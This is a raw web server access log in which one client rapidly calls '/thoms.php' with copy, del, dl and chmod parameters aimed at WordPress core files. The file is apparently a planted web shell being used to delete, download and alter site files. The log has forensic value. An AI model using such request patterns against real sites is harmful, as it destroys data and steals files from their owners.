45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /thoms.php?del=sodium_compat&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /thoms.php?del=class-http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59453 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /betcity.com.tw/wp-includes/http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 200 12233 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /betcity.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2FPHPMailer HTTP/1.1" 200 13938 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59063 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:27 -0400] "GET /thoms.php?chmod=feed-atom.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /thoms.php?dl=category-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:27 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:27 -0400] "GET /betcity.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:27 -0400] "GET /thoms.php?del=ms-files.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:28 -0400] "GET /betcity.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:27 -0400] "GET /thoms.php?del=bookmark-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59410 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:28 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-rss.php HTTP/1.1" 200 12530 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 200 12355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:28 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=category.php HTTP/1.1" 200 16089 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:28 -0400] "GET /betcity.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:28 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 200 14295 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:28 -0400] "GET /thoms.php?del=theme-templates.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:28 -0400] "GET /thoms.php?del=category-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:28 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 200 29006 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:28 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:29 -0400] "GET /thoms.php?del=nav-menu.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:29 -0400] "GET /thoms.php?dl=class-wp-block.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59388 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:29 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:29 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:29 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 200 18042 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:29 -0400] "GET /betcity.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:30 -0400] "GET /thoms.php?chmod=sodium_compat&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:29 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59396 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:30 -0400] "GET /betcity.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:30 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:30 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59434 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:30 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:30 -0400] "GET /thoms.php?dl=class-wp-filter-sentinel.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-filter-sentinel.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:30 -0400] "GET /thoms.php?dl=class-wp-speculation-rules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-speculation-rules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /betcity.com.tw/wp-includes/nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /betcity.com.tw/wp-includes/post-formats.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /betcity.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /thoms.php?del=bookmark.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59437 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /thoms.php?del=class-wp-url-pattern-prefixer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=class-wp-url-pattern-prefixer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 200 16052 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 200 13817 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /betcity.com.tw/wp-includes/blocks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /thoms.php?del=session.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=session.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:31 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:32 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:32 -0400] "GET /thoms.php?dl=class-wp-term.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fdefault-filters.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fdefault-filters.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcache-compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcache-compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:32 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:33 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:33 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 200 66158 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:33 -0400] "GET /thoms.php?del=formatting.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:33 -0400] "GET /thoms.php?dl=option.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=option.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
